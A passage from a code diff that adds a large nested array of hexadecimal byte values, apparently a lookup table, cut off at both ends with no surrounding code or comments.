+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x03, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x04, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x0a, 0x0b, 0x0c, 0x0d, 0x06, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07},
+            {0x08, 0x01, 0x02, 0x0b, 0x04, 0x0d, 0x0e, 0x07}
+        },
+        {
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x00, 0x09, 0x0a, 0x03, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x0a, 0x0b, 0x0c, 0x05, 0x06, 0x0f},
+            {0x08, 0x09, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
+            {0x08, 0x01, 0x02, 0x0b, 0x0c, 0x0d, 0x0e, 0x0f},
